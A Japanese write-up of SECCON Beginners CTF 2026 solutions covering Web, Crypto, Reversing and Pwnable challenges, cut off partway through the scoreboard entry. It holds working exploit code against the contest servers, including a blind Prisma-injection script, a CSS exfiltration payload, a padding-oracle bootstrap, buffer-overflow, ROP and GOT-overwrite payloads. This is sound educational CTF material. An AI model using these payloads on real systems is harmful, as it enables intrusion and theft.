今回は生成AIを用いて問題を解きました。
主にできるだけ費用を掛けたくなかったためopencode(GTP-5 mini)を中心として、Claude Code(Sonnet 4.6)とCodeX(GPT-5.5)を使用して全ての問題を解くことができました。
SECCON Beginners CTF 2026
2026年6月13日開催 / 全カテゴリ問題の詳細解法解説
| 問題名 | カテゴリ | 脆弱性・手法 | 難易度 | 状態 |
|---|---|---|---|---|
| portfolio | Web | 静的ファイル誤配置 | ★★★ | ✓ 解決 |
| bookshelf | Web | Next.js SSR Props リーク | ★★★ | ✓ 解決 |
| footnote | Web | Prisma Blind Injection | ★★★ | ✓ 解決 |
| shopping | Web | Race Condition (TOCTOU) | ★★★ | ✓ 解決 |
| review4b | Web | Chrome Extension + CSS Injection | ★★★ | ✓ 解決 |
| twins | Crypto | RSA Common Factor Attack | ★★★ | ✓ 解決 |
| Inverted RSA | Crypto | Wrong Totient → GCD 素因数分解 | ★★★ | ✓ 解決 |
| Imaginary Friend | Crypto | GF(p²) PRNG 線形代数 + HNP 格子攻撃 (LLL/CVP) | ★★★ | ✓ 解決 |
| Golden Ticket 2 | Crypto | AES-CBC / CBC-R + valid padding bootstrap | ★★★ | ✓ 解決 |
| baby-rev | Reversing | C ソース解析・XOR 復号 | ★★★ | ✓ 解決 |
| 1st-Memory-Errand | Reversing | XOR 復号(線形鍵) | ★★★ | ✓ 解決 |
| Reversing-2050 | Reversing | Q# 量子プログラム = XOR | ★★★ | ✓ 解決 |
| old-virus | Reversing | AES-ECB + RC4 逆順復号 | ★★★ | ✓ 解決 |
| filter | Reversing | eBPF 解析 + パケット送信 | ★★★ | ✓ 解決 |
| login | Pwnable | Stack Buffer Overflow | ★★★ | ✓ 解決 |
| defeat_monster | Pwnable | Use-After-Free / Heap Overlap | ★★★ | ✓ 解決 |
| rop4b | Pwnable | ROP Chain | ★★★ | ✓ 解決 |
| scoreboard | Pwnable | 負インデックス GOT 上書き | ★★★ | ✓ 解決 |
| backlog | Pwnable | Off-by-One / Poison Null Byte | ★★★ | ✓ 解決 |
| workflow_oriented | Pwnable | Heap Overflow + Computed Goto | ★★★ | ✓ 解決 |
| omikuji | Misc | 決定論的 PRNG | ★★★ | ✓ 解決 |
| viewer | Misc | Unicode NFKC 正規化バイパス | ★★★ | ✓ 解決 |
| Homework | Misc | PDF 内 ZIP ステガノグラフィ | ★★★ | ✓ 解決 |
| greenroom | Misc | Bash 組み込み /proc 読み取り | ★★★ | ✓ 解決 |
Web — 5問
portfolio
はじめて作ったポートフォリオサイトを公開しました。
🌐 http://portfolio.beginners.seccon.games:33455
添付ファイル: portfolio.zip
public/ 直下に置かれており、express.static がそのまま公開している。curl /flag.txt で即取得。ctf4b{my_f1r57_p0r7f0l10_mistake}「ポートフォリオサイト」は静的ファイルを公開するだけの構成が多いため、まず公開ディレクトリの構成を確認します。ZIP を展開すると public/ 配下に直接 flag.txt が置かれていることが見えます。次に index.js を読むと express.static(publicDir) でディレクトリを丸ごと公開していることがわかります。/admin には 403 が設定されていますが、flag.txt への直接アクセスにはガードがありません。curl /flag.txt で即座にフラグを取得できます。
# portfolio.zip 展開結果 public/ ├── index.html ├── admin.html ├── styles.css └── flag.txt ← ★ 公開ディレクトリに機密ファイルが直置き!
// ① public/ 配下を express.static で丸ごと公開 app.use(express.static(publicDir)); // ② /admin だけ 403 を設定 — でも flag.txt は無防備! app.get("/admin", (req, res) => { res.status(403).send("Forbidden"); });
express.static が /admin ルートより先に評価されるため /admin.html にもアクセス可能。そして flag.txt 自体は 403 ガードすら存在しない。curl http://portfolio.beginners.seccon.games:33455/flag.txt
public/ に置かない。環境変数 (process.env.FLAG) や Web 非公開ディレクトリに保管し、エンドポイント経由で認可後に返すこと。bookshelf
書籍レビューサイトを公開しました。
🌐 http://bookshelf.beginners.seccon.games:33456
添付ファイル: bookshelf.zip
process.env.FLAG を book オブジェクトの internalNote に入れて Client Component へ渡している。Next.js は props を HTML にシリアライズするため、表示していない値も /books/2 のレスポンスに含まれる。ctf4b{...} (環境変数 FLAG の値)Next.js で作られた書籍レビューサイトです。「表示されていない情報がサーバーで生成されていないか」という観点でソースを読みます。app/books/[id]/page.tsx を確認すると、book オブジェクトの internalNote フィールドに process.env.FLAG が入っています。Next.js App Router はサーバーコンポーネントから Client Component への props 全体を HTML にシリアライズするため、JSX で表示していなくても HTML ソースに含まれます。curl で /books/2 を取得して ctf4b{ で grep するだけでフラグが得られます。
const books = [ { id: "1", title: "..." }, { id: "2", title: "...", internalNote: process.env.FLAG ?? "ctf4b{dummy_flag}" // ↑ サーバー側でセットした値がクライアントへシリアライズされる }, ]; // BookDetail は internalNote を JSX で表示していない ← でも HTML に含まれる! return <BookDetail book={books.find(b => b.id === id)} />;
__NEXT_DATA__ や RSC payload として HTML に埋め込む。JSX に書いていなくても props オブジェクト全体がシリアライズされるため。curl -sS "http://bookshelf.beginners.seccon.games:33456/books/2" | grep -o 'ctf4b{[^}]*}'
footnote
記事には、著者だけが知っている小さな footnote が残されているようです。
🌐 http://footnote.beginners.seccon.games:44566
添付ファイル: footnote.zip
/api/articles/search?field=author.profile.secretMemo&op=startsWith&value=X が Prisma に直渡しされている。startsWith をオラクルに 12 文字の hex 値を 1 文字ずつ当て、/api/claim でフラグを受け取る。ctf4b{r00t_f13lds_4r3_n0t_en0ugh}「著者だけが知っている footnote」というヒントから、公開 API では取得できない非公開フィールドがあることを推測します。ソースコードを読むと /api/articles/search エンドポイントが field・op・value を Prisma クエリに直接渡しており、Prisma の where 条件を任意に操作できます。author.profile.secretMemo というフィールドへのアクセスと startsWith オペレータを組み合わせると、SQL の LIKE 句に相当するブラインドインジェクションが可能です。1 文字ずつ試してカウントが 1 になれば正解という繰り返しで 12 文字の secretMemo を特定し、/api/claim に渡すとフラグが得られます。
secretMemo = 12文字の hex (0-9a-f)。1文字あたり最大 16 回のリクエスト。合計 最大 192 リクエスト ≪ 制限 300 req/min。
#!/bin/bash BASE="http://footnote.beginners.seccon.games:44566" secret="" for i in $(seq 1 12); do for c in 0 1 2 3 4 5 6 7 8 9 a b c d e f; do count=$(curl -sG "$BASE/api/articles/search" \ --data-urlencode "field=author.profile.secretMemo" \ --data-urlencode "op=startsWith" \ --data-urlencode "value=${secret}${c}" \ | python3 -c "import sys,json;print(json.load(sys.stdin)['count'])") if [ "$count" != "0" ]; then secret="${secret}${c}"; break; fi done done curl -s -X POST "$BASE/api/claim" \ -H 'Content-Type: application/json' -d "{\"memo\":\"$secret\"}"
shopping
クーポン引換をして、豪華賞品を手に入れよう!
🌐 http://shopping.beginners.seccon.games:8000
添付ファイル: shopping.zip
/support/statement のロック期間 (lease) より render_delay が必ず長く設計されているため、ロック解除後に複数スレッドが同じチケットをクレームして残高を二重・三重に加算できる (Race Condition)。ctf4b{Th4nk_y0u_f0r_y0ur_pur<ha5e}クーポンで残高を増やしてフラグ(260pt)を購入するという流れです。クーポン 1 枚で 70pt しか得られないため、残高増加処理を複数回実行できないかを疑います。ソースを読むと /support/statement がクーポンをクレームして残高加算する処理があり、ロック期間(lease=230ms)よりレンダリング遅延(render_delay=350ms)が長く設定されています。この間に別スレッドが同じクーポンをクレームして残高を二重加算できる TOCTOU 型の Race Condition です。5 スレッドを 270ms ずらして並行送信し、残高が 260pt を超えたら即座に /cart/quote → /exchange でフラグを取得します。
SPECIAL_VOUCHER_FOR_CTF4B を登録 (70pt pending)POST /support/statement を 270ms 間隔で並行送信して Race を起こすPOST /cart/quote?item=flag で交換コード取得 (Audit 前、30秒有効)POST /exchange にクォートを送信。クォート内の balance=350pt で判定するため Audit 後でも有効 → フラグpost_ledger_adjustment(残高加算)と close_statement_ticket(ロック解除)が同一トランザクションでない。close 失敗時に加算がロールバックされない設計。review4b
レビューは大変なので、拡張機能を作りました!
http://review4b.beginners.seccon.games:3000
添付ファイル: review4b.zip
ctf4b{ex7enti0n_c4nt_check_nu11}Chrome 拡張が絡む問題では、まず拡張が何を storage に保管しているかを確認します。manifest.json と content.js を読むと FLAG が chrome.storage.local に格納されており、content.js がページの DOM 属性にその値を書き出すことがわかります。しかしキーフィルターで "flag" を含む文字列をブロックしています。chrome.storage.local.get(keys) の仕様を確認すると、keys にオブジェクト {"flag": ""} を渡すとデフォルト値マップとして処理されフィルターをバイパスできます。DOM 属性にフラグが書かれた後は、CSP で JS が禁止されているため CSS の background-image リクエストを使ったブラインド CSS Exfiltration で 1 文字ずつサーバーへ漏洩させます。
data-review4b 属性
content.js 実行
バイパス
が書き込まれる
1文字ずつ漏洩
→ FLAG 完成
keys = ["flag"] String(["flag"]) = "flag" // → "flag" を含む → ブロック
keys = {"flag": ""}
String({"flag":""}) = "[object Object]"
// → "flag" を含まない → 通過!
chrome.storage.local.get({"flag":""}) はオブジェクトをデフォルト値マップとして処理し、実際の値 {"flag":"ctf4b{...}"} を返す。
/* content.js が DOM 属性にフラグを書いた後 */ /* data-review4b-result='{"ok":true,"result":{"flag":"ctf4b{ex7..."}}' */ /* CSS で1文字ずつリクエストを発火させる */ [data-review4b-result*="ctf4b{ex7enti0n_c4nt_check_nu1"]{ background: url(/leak/NOTE_ID?i=00) /* 次が '0' なら発火 */ } [data-review4b-result*="ctf4b{ex7enti0n_c4nt_check_nu11"]{ background: url(/leak/NOTE_ID?i=01) /* 次が '}' なら発火 */ }
CSP は script-src 'none' で JS 不可だが img-src 'self' は許可されており、同一オリジンへの CSS background-image リクエストが通る。
Crypto — 4問
twins
RSA の公開鍵を 2 つ作ってみました!
添付ファイル: twins.zip
gcd(n1, n2) = p が一瞬で求まり、秘密鍵を復元して復号できる。ctf4b{tw1n_pr1m35_4r3_n0t_1nd3p3nd3nt}「公開鍵を 2 つ」と「twins(双子)」というタイトルから、2 つの鍵が何かを共有していると推測します。RSA で 2 つの公開鍵 n1, n2 が独立していなければならないのは素因数です。もし共通の素因数 p を持つなら gcd(n1, n2) = p が一瞬で求まります。ソースコード chall.py を確認すると p = getPrime(512) が 1 回だけ呼ばれて両方の鍵に使われていることが判明します。GCD 攻撃で p を取り出せば秘密鍵を復元して復号できます。
p = getPrime(512) # ← 両方で共用される素数! q1 = getPrime(512) q2 = getPrime(512) n1 = p * q1 # 1枚目の公開鍵 n2 = p * q2 # 2枚目の公開鍵 — p を共有! c = pow(m, e, n1)
from math import gcd # Step 1: GCD で共通素因数 p を求める p = gcd(n1, n2) # Step 2: q1 を求める q1 = n1 // p # Step 3: φ(n1) = (p-1)(q1-1) phi = (p - 1) * (q1 - 1) # Step 4: 秘密鍵 d = e^(-1) mod φ d = pow(e, -1, phi) # Step 5: 復号 m = pow(c, d, n1) flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode() print(flag)
Inverted RSA
正しく復号したはずなのに!?
添付ファイル: inverted-rsa.zip
p = -getPrime(384) で p が負になり totient が壊れる。誤った totient で計算された m2 には m2_std^e ≡ c_std (mod q0) という関係が生まれ、GCD で N を素因数分解できる。ctf4b{of_cours3_n3g4tiv3_numb3rs_4r3_not_prim3_numb3rs}「正しく復号したはずなのに」というフレーバーは、復号の計算は実行されているが結果が正しくないことを示唆します。ソースコードを 1 行ずつ読むと p = -getPrime(384) という明らかに異常な行が目に入ります。Python では負数の mod 演算が可能なため実行時エラーは出ませんが、RSA の totient φ(n) = (p-1)(q-1) に負の p を代入すると totient が壊れます。wrong totient で計算した d による復号結果 m2 には、m2_std^e ≡ c_std (mod q0) という関係が成立するため、GCD で N を素因数分解できます。
p = -getPrime(384) # ← マイナス! p が負の素数に
m2_std^e ≡ c_std (mod q0) が成立し、GCD で因数が得られる。from math import gcd N = -n # |n| (正の RSA 法) c_std = c + N # 正の暗号文 m2_std = m2 + N # wrong totient による復号結果 (正値) # m2_std^e ≡ c_std (mod q0) の関係を利用して素因数分解 diff = (pow(m2_std, e, N) - c_std) % N q0 = gcd(diff, N) p0 = N // q0 # 正しい RSA で復号 phi_correct = (p0 - 1) * (q0 - 1) d_correct = pow(e, -1, phi_correct) m1 = pow(c_std, d_correct, N) print(m1.to_bytes((m1.bit_length() + 7) // 8, 'big').decode())
Imaginary Friend
間違いなく安全!
添付ファイル: imaginary-friend.zip
ctf4b{ で 1 次元に帰着後、fpylll の LLL + CVP で m₁₄ を一発特定しフラグ復元。ctf4b{my_1m4g1n4ry_fr13nd_1s_n0t_r34l_bu7_kn0ws_4ll_my_s3cr3ts_07fcfd5562c1bd7ebf0cb90932a309e8}Sage スクリプト imaginary-friend.sage は p = 2⁵⁶ − 5 を法とする GF(p²)(虚数単位 i:i² ≡ −1 mod p)上の PRNG を実装しています。9×9 ランダム行列 M と初期状態ベクトル(GF(p²) 要素 × 9)を秘密とし、フラグの 6 バイトブロック 16 個それぞれに PRNG 出力を加算して出力します。
# imaginary-friend.sage(抜粋) p = 2**56 - 5 K.i = GF(p**2, modulus=[1,0,1]) # i² + 1 = 0 class PRNG: def __init__(self): self.M = random_matrix(K, 9, 9) # 秘密の 9×9 行列 self.state = random_vector(K, 9) # 秘密の初期状態 def next(self): self.state = self.M * self.state # 状態更新 return self.state[0] # 先頭要素を出力 # フラグを 6 バイト × 16 ブロックに分割して各ブロックを PRNG 出力でマスク for idx in range(0, len(flag), 6): m = K.from_bytes(flag[idx:idx+6]) # フラグブロック → GF(p²) 要素(虚部=0) print(m + prng.next()) # 出力: y_k = m_k + s_k
出力
y_k = m_k + s_k の実部・虚部それぞれが GF(p) 上の線形方程式になる。未知数:初期状態 9 要素×実虚 2 成分 = 18 個、フラグブロック実部 m₀〜m₁₅ = 16 個 → 計 34 未知数
16 ブロック × 2 本 = 32 方程式 を GF(p) 上でガウス消去。
ガウス消去後のランクは 32。ヌル空間次元は 2 で、自由変数はちょうど m₁₄ と m₁₅(最後の 2 ブロックの平文値そのもの)。
m₀〜m₁₃ はすべて (m₁₄, m₁₅) の一次結合 (mod p) で決まる。
フラグ先頭 6 バイト
ctf4b{ より m₀ が確定。→ m₁₅ = f(m₁₄) mod p として消去し、1 パラメータ問題に帰着:
m_k = D_k + F_k × m₁₄ (mod p) (k = 1〜15、D_k・F_k は既知定数)m₁₄ は 6 バイト平文 = 2⁴⁸ 未満(p ≈ 2⁵⁶ の 1/256)という小さい数制約がある。
14 制約を使った 15 次元 HNP 格子 を構築し、LLL 簡約 + CVP(最近ベクトル問題)で m₁₄ を一発特定。
格子行列式 p¹⁴ ≈ 2⁷⁸⁴ に対して目標ベクトルのノルム ≈ 2⁵⁰ と十分短く LLL が収束する。
# m_k = D_k + F_k * m14 (mod p) を各 k について計算後: from fpylll import IntegerMatrix, LLL, CVP k_list = list(range(1,14)) + [15] # 14 個の制約 (k=0 は既知、k=14 は m₁₄ 自身) dim = 15 # 1(m₁₄) + 14(各 m_k) lat = IntegerMatrix(dim, dim) lat[0, 0] = 1 for j, k in enumerate(k_list): lat[0, j+1] = int(F[k]) # 1 行目: (1, F[1], ..., F[15]) for j in range(14): lat[j+1, j+1] = int(p) # 対角: p (法) LLL.reduction(lat) # LLL 簡約 B = 2**48 target = [B//2] + [B//2 - D[k] for k in k_list] # [0,B)^15 の中心へ v = CVP.closest_vector(lat, target) # CVP → m₁₄ を回収 m14 = v[0] # = 62879280869985 # 全ブロック復元 ms = [(D[k] + F[k] * m14) % p for k in range(16)] flag = b''.join(m.to_bytes(6,'big') for m in ms) print(flag.decode())
Free vars: [32, 33] ← m₁₄, m₁₅ が自由変数と確認 Lattice dimension: 15 Running LLL reduction... LLL done. Running CVP... CVP solution found. v[0] (m₁₄ candidate): 62879280869985 m_0 : b'ctf4b{' ✓ ← 既知平文で検証 m_1 : b'my_1m4' ✓ m_2 : b'g1n4ry' ✓ m_3 : b'_fr13n' ✓ m_4 : b'd_1s_n' ✓ m_5 : b'0t_r34' ✓ m_6 : b'l_bu7_' ✓ m_7 : b'kn0ws_' ✓ m_8 : b'4ll_my' ✓ m_9 : b'_s3cr3' ✓ m_10: b'ts_07f' ✓ m_11: b'cfd556' ✓ m_12: b'2c1bd7' ✓ m_13: b'ebf0cb' ✓ m_14: b'90932a' ✓ ← 格子が特定した自由変数 m_15: b'309e8}' ✓ ← m₀ 制約から決定
Golden Ticket 2
この問題は SECCON Beginners 2025 – Golden Ticket の続編です。nc golden-ticket-2.challenges.beginners.seccon.games 9999
添付ファイル: golden-ticket-2.zip
ctf4b{w3lc0m3_b4ck_t0_7h3_ch0c0l4t3_f4c70ry_0nc3_4g41n}前作「Golden Ticket」の続編であることから、AES-CBC を用いた暗号化・復号オラクルを操作する問題と推測できます。制約を確認すると「Encrypt 3 枚」「不正 padding でプロセス終了」という厳しい条件があります。通常の Padding Oracle 攻撃は使えないため、valid padding のみを安全に送れるオラクルを構築することを考えます。Encrypt で得た C2 ブロックは raw decrypt 値が既知であるため、これを利用して常に valid padding になるペアを作ります。固定 IV は C2 の 1 ブロック Decrypt が成功するまで接続を繰り返して回収します(成功確率 ≈ 1/255)。
- AES-CBC / 鍵は Correct ごとに再生成 / IV と challenge (96 bytes) は固定
- 暗号化チケット 3 枚 / 復号チケット 10,000 枚
- GOLDEN_TICKET += 0.25 ずつ → 4 回 Correct でフラグ
- Decrypt で不正 padding を送るとプロセス終了 (通常の Padding Oracle 不可)
16 バイト平文 P を Encrypt すると padding により 2 ブロック C1, C2 が返る。
C1 = E_k(P xor V) C2 = E_k(0x10...10 xor C1) D_k(C2) = C1 xor 0x10...10
つまり C2 は raw decrypt が既知のブロックとして使える。固定 IV V 回収後は、P = 0 としていた C1 も D_k(C1) = V として使える。
D_k(C) = R を使い、B = R xor (W || 0x01) を作ると、B || C を Decrypt に渡したとき 2 ブロック目が必ず W || 0x01 になる。不正 padding を送らずに raw decrypt が分かるブロックを安全に増やせる。D_k(C) xor B = R xor (R xor (W || 0x01)) = W || 0x01
Decrypt の出力前半は D_k(B) xor V なので、固定 IV が分かっていれば D_k(B) が求まる。これを繰り返して CBC-R 用の既知ブロックを増やす。
C2 を 1 ブロックだけ Decrypt に渡し、たまたま valid padding になれば、復元した平文 Q と既知の R = D_k(C2) から V = R xor Q で IV を回収できる。成功確率はおおよそ 1/255。C1, C2 を得る。C2 の 1 ブロック Decrypt が valid padding になるまで接続を作り直し、固定 IV を回収する。python3 golden_ticket_2_exploit.py --workers 16 --progress-every 100
worker=9 attempt=60: random bootstrap for key2 succeeded
correct 2: dec_used=678, known_blocks=229
correct 3: dec_used=1791, known_blocks=1115
correct 4: dec_used=2462, known_blocks=673
flag: ctf4b{w3lc0m3_b4ck_t0_7h3_ch0c0l4t3_f4c70ry_0nc3_4g41n}
Your tickets:
7538 decryption ticket(s)
Reversing — 5問
baby-rev
Welcome to the world of Reversing! I hope you find it interesting 🙂
添付ファイル: baby-rev.c(C ソースコード)
0x88 で XOR して定数配列 xorFlag[] と比較しているだけ。xorFlag[i] ^ 0x88 で即フラグ復元。ctf4b{l00k_m0m_n0_h4nds_just_x0r!}配布された baby-rev.c を読むと構造は極めてシンプルです。入力の各バイトを固定値 0x88 で XOR した結果を定数配列 xorFlag[] と 1 バイトずつ比較しています。XOR は自己逆演算(A ^ K ^ K = A)なので、xorFlag[i] ^ 0x88 をそのまま計算するだけでフラグが得られます。コード解析 → 逆演算 → Python で出力という Reversing 入門の王道ワークフローです。
// ① 比較対象の定数配列(入力 ^ 0x88 であるべき値) const unsigned char xorFlag[] = { 0xeb,0xfc,0xee,0xbc,0xea,0xf3,0xe4,0xb8,0xb8,0xe3, 0xd7,0xe5,0xb8,0xe5,0xd7,0xe6,0xb8,0xd7,0xe0,0xbc, 0xe6,0xec,0xfb,0xd7,0xe2,0xfd,0xfb,0xfc,0xd7,0xf0, 0xb8,0xfa,0xa9,0xf5 }; const int xorKey = 0x88; // 固定 XOR 鍵 const int len = 34; // ② 入力長チェック if (inputLen != len) { printf("Wrong:(\n"); return -1; } // ③ 各バイトを xorKey で XOR して xorFlag と照合 for (int i = 0; i < len; i++) { if ((inp[i] ^ xorKey) != xorFlag[i]) { printf("Wrong:(\n"); return -1; } } printf("Correct:)\n"); // inp[i] == xorFlag[i] ^ xorKey が条件
xorFlag = [
0xeb,0xfc,0xee,0xbc,0xea,0xf3,0xe4,0xb8,0xb8,0xe3,
0xd7,0xe5,0xb8,0xe5,0xd7,0xe6,0xb8,0xd7,0xe0,0xbc,
0xe6,0xec,0xfb,0xd7,0xe2,0xfd,0xfb,0xfc,0xd7,0xf0,
0xb8,0xfa,0xa9,0xf5
]
flag = ''.join(chr(b ^ 0x88) for b in xorFlag)
print(flag) # → ctf4b{l00k_m0m_n0_h4nds_just_x0r!}
1st-Memory-Errand
Your mother: Could you run a quick errand for me and look for the FLAG in Memory? It might be in a hard-to-find spot, but if you look for it, you’ll find it, so please do me this favor.
添付ファイル: 1st-Memory-Errand_chall(ELF バイナリ)
gen_key(i) = 7×i + 33 という鍵生成関数が判明。.rodata の暗号データと XOR するだけ。ctf4b{My_fir5t_3rr4nd_w45_4_5ucc355!}「メモリの中の FLAG を探す」というテーマから、ELF バイナリの静的解析が必要です。まず file コマンドでバイナリ形式を確認し、nm や objdump -d でシンボルと関数一覧を調べます。not stripped なので関数名が残っており、gen_key という怪しい関数を発見できます。逆アセンブル結果から gen_key(i) = 7×i + 33 という線形鍵生成式を読み解き、.rodata セクションに格納された暗号バイト列と XOR 復号します。
; gen_key(i) のアセンブリ mov eax, [i] ; eax = i shl eax, 3 ; eax = i * 8 sub eax, [i] ; eax = i*8 - i = i*7 add eax, 0x21 ; eax = 7*i + 33 ret ; → gen_key(i) = (7*i + 33) & 0xFF
enc = bytes([
0x42,0x5c,0x49,0x02,0x5f,0x3f,0x06,0x2b,0x06,0x06,0x0e,0x1c,
0x40,0x08,0xdc,0xb9,0xe3,0xea,0xab,0xc8,0xc9,0xeb,0xcc,0xf6,
0xfc,0x8f,0xe3,0x81,0xd0,0x99,0x90,0x99,0x32,0x3d,0x3a,0x37,0x60
])
flag = ''.join(chr(enc[i] ^ ((7*i + 33) & 0xFF)) for i in range(len(enc)))
print(flag) # → ctf4b{My_fir5t_3rr4nd_w45_4_5ucc355!}
Reversing-2050
Let’s give the next-generation programming language a try 🙂
実行する場合は:pip install qsharp && python Main.py
添付ファイル: rev-2050.zip
"Quantum" との XOR。ctf4b{Hello_Quantum_World!!!}「次世代プログラミング言語」と「2050」というタイトルから Q#(量子コンピューティング言語)であることに気づきます。初見では難解に見えますが、CTF では「見た目が難しくても実態はシンプル」なことが多いです。Q# の X ゲートはビットフリップ操作(NOT と等価)です。データビットと鍵ビットの両方に X を適用するとキャンセルされるため、実質的に result = dataBit XOR keyBit という操作になります。コードから鍵 “Quantum” を特定して通常の XOR 復号をするだけで解けます。
within {
if dataBit { X(q[i]); }
if keyBit { X(q[i]); }
} apply { /* 測定 */ }
result = dataBit ^ keyBit # XOR そのもの! # X ゲート2回 = 元に戻る
key = [0x51,0x75,0x61,0x6E,0x74,0x75,0x6D] # "Quantum" ct = [0x32,0x01,0x07,0x5A,0x16,0x0E,0x25,0x34, 0x19,0x0D,0x01,0x2B,0x24,0x18,0x30,0x1B, 0x15,0x1B,0x19,0x2A,0x3A,0x3E,0x07,0x0D, 0x0A,0x55,0x54,0x4C,0x2C] print(''.join(chr(c ^ key[i % 7]) for i,c in enumerate(ct))) # → ctf4b{Hello_Quantum_World!!!}
old-virus
ur flag g0t pwned by s0me 2000s-era h4x0r. BRB st34l1ng ur d4t4 lol. …s3r10usly tho, g3t 1t b4ck.
[NOTE]: This is not real malware, so you don’t have to worry about it doing anything bad to your computer 🙂
添付ファイル: old-virus.zip
.rodata に AES・RC4 の鍵が平文格納。暗号化は AES→RC4 の順なので復号は RC4→AES の逆順。ctf4b{Y2K_n05t419ic_viru5_6ut_G2G}「2000 年代のハッカー」と「ウイルス」というフレーバーから、レトロな暗号化アルゴリズム(AES・RC4)の組み合わせを疑います。not stripped な ELF に対して strings コマンドを実行すると、バイナリ中に鍵文字列が平文で含まれていることが多いです。ここでも THISISNOTAESKEY!(AES-128 鍵)と RC4 鍵が発見できます。次に objdump -d で main 関数を逆アセンブルして暗号化の順序(AES→RC4)を確認し、復号は逆順(RC4→AES)で行います。
strings old-virus→THISISNOTAESKEY!(AES-128 鍵, 16 bytes) とImashyKey!Dontlookme!!!(RC4 鍵) が平文で存在objdump -dの main:aes_ecb_encrypt→rc4→fwrite→unlinkの順
THISISNOTAESKEY!
ImashyKey!…
# Step 1: RC4 で戻す python3 rc4_decrypt.py flag.txt.hacked mid.bin # Step 2: AES-128-ECB で戻す (鍵を hex 変換) # "THISISNOTAESKEY!" = 5448495349534e4f544145534b455921 openssl enc -aes-128-ecb -d -in mid.bin -out flag.txt \ -K 5448495349534e4f544145534b455921
filter
あるイベントが発生するとフラグが表示されるみたい。
添付ファイル: filter.sh
filter.sh 末尾の base64 を展開すると eBPF オブジェクトが出現。lo の ingress に tc filter としてロードされ、特定パケットを受信すると bpf_trace_printk でフラグを出力する。ctf4b{ebpf_m4g1c_kn0ck}「あるイベントが発生するとフラグが表示される」というヒントから、特定の条件を満たしたときにフラグが出力されるトリガー型の問題です。filter.sh を読むと末尾に base64 エンコードされたデータがあり、展開すると ELF ファイル(eBPF オブジェクト)が出てきます。eBPF は Linux カーネルで動くサンドボックスプログラムで、ネットワークパケットを監視してフラグを出力できます。llvm-objdump で逆アセンブルし、発火条件(SYN パケットの window 値 + payload 先頭 5 バイト)を特定して scapy でパケットを送ります。
# filter.sh の末尾 base64 → zip → eBPF オブジェクト tail -n 2 filter.sh | head -n 1 | base64 -d > /tmp/filter.zip unzip -q /tmp/filter.zip -d /tmp/filter_ext file /tmp/filter_ext/filter # → ELF 64-bit LSB relocatable (eBPF オブジェクト) # LLVM で逆アセンブル llvm-objdump-21 -d --triple=bpfel /tmp/filter_ext/filter
sudo bash filter.sh start sudo cat /sys/kernel/debug/tracing/trace_pipe & # 条件①: window=54321 の SYN sudo python3 -c " from scapy.all import * send(IP(dst='127.0.0.1')/TCP(sport=44444,dport=12345,flags='S',window=54321),iface='lo') send(IP(dst='127.0.0.1')/TCP(sport=44444,dport=12345,flags='PA')/Raw(b'ctf4b'),iface='lo') " # trace_pipe に ctf4b{ebpf_m4g1c_kn0ck} が出力される
Pwnable — 6問
login
まずは手始めに admin を目指しましょうnc login.beginners.seccon.games 9080
添付ファイル: main.c, chall
fgets の第2引数が sizeof(username) ではなく sizeof(struct user)。16バイトの username バッファを超えて隣の is_admin フィールドに書き込める。ctf4b{l0g1n_r00t_us4r!}「admin を目指す」という問題文から、認証バイパスが目標です。C のソースコード main.c を読むと struct user に username[16] と is_admin フィールドがあります。fgets のバッファサイズに sizeof(struct user)(= 20 バイト)が指定されているため、16 バイトの username バッファを超えて隣の is_admin フィールドに書き込める典型的なスタックオーバーフローです。16 バイトの ‘A’ + \x01\n を送ると is_admin = 1 になり admin 権限が得られます。
username: b'A'*16 is_admin: \x01\x0a\x00\x00 ↑ ↑ strcspn が '\n' を 書き込まれた '\0' に置換 → is_admin = 0x00000001 ✓
from pwn import * r = remote('login.beginners.seccon.games', 9080) r.recvuntil(b'Input username: ') r.send(b'A'*16 + b'\x01\n') r.sendline(b'cat /home/pwn/flag.txt') print(r.recv(4096).decode())
defeat_monster
ボスは防御力が高そうですが、攻撃できますか?nc monster.beginners.seccon.games 9081
添付ファイル: monster.zip
rename_monster で boss の defense を上書き → battle で win()。ctf4b{...} (win() 後シェルで取得)「ボスの防御力が高い」というヒントから、ゲームのロジックを迂回する必要があります。ヒープを使うバイナリでは Use-After-Free を疑うのが定石です。monster と boss が同じサイズ(40 バイト)の構造体であれば、monster を free 後に boss を malloc すると同じヒープチャンクに配置されます。my_monster ポインタはまだ生きているため、rename_monster でそのポインタ経由で boss 構造体の defense フィールドを上書きできます。defense を小さくすれば bounty > defense が成立し win() が呼ばれます。
b"A"*24 + p64(10) を送信 → boss.defense = 10bounty(1337) > defense(10) → win() → /bin/shrop4b
ROP で /flag.txt を読み出してみましょう!nc rop4b.beginners.seccon.games 9082
添付ファイル: rop4b.zip
pop rdi; ret + read_file("/flag.txt") の 2-gadget ROP で解決。ctf4b{...} (read_file の出力で取得)「ROP で読み出す」という問題文から ROP Chain が必要なことは明確です。まず checksec でセキュリティ機能を確認します(NX 有効、PIE 無効)。PIE 無効なので関数・gadget のアドレスが固定です。ROPgadget --binary chall で利用可能な gadget を探し、pop rdi; ret があれば第 1 引数を設定して関数を呼び出せます。バッファサイズを確認すると 64 バイトバッファに 200 バイト読むため、64 + 8(saved rbp)= 72 バイトのパディング後に ROP チェーンを配置します。
pop_rdi_ret = 0x4011f6 # gadget: pop rdi; ret read_file = 0x4011ff # read_file(path) → ファイルを開いて puts flag_path = 0x402008 # 文字列 "/flag.txt"
from struct import pack payload = b'A' * 72 payload += pack('<Q', 0x4011f6) # pop rdi; ret payload += pack('<Q', 0x402008) # "/flag.txt" payload += pack('<Q', 0x4011ff) # read_file
scoreboard
たくさんスコアが保存できそうですnc scoreboard.beginners.seccon.games 9090
添付ファイル: scoreboard.zip
__stack_chk_fail@GOT → main にしてプログラムを「リセット」できるようにする ② strtol@GOT → system@plt に書き換えて次の rank 入力をシェルコマンドとして実行。ctf4b{c4n4Ry_g0T_0v3rwr1t3!!}「たくさんスコアが保存できそう」から、スコアを格納する配列の境界チェックを疑います。rank の下限チェックがない場合、負インデックスで配列外(GOT 領域)に書き込める可能性があります。GOT Overwrite の定石手順は、① まずスタックカナリー失敗ハンドラを main に書き換えてプログラムをリセット可能にし、② strtol@GOT を system のアドレスに上書きして、③ 次の rank 入力がシェルコマンドとして実行される状態を作ることです。
scores = 0x4040a0 書き込み先 = scores + rank * 8 __stack_chk_fail@GOT (0x404008): rank = (0x404008 - 0x4040a0) / 8 = -19 strtol@GOT (0x404030): rank = (0x404030 - 0x4040a0) / 8 = -14
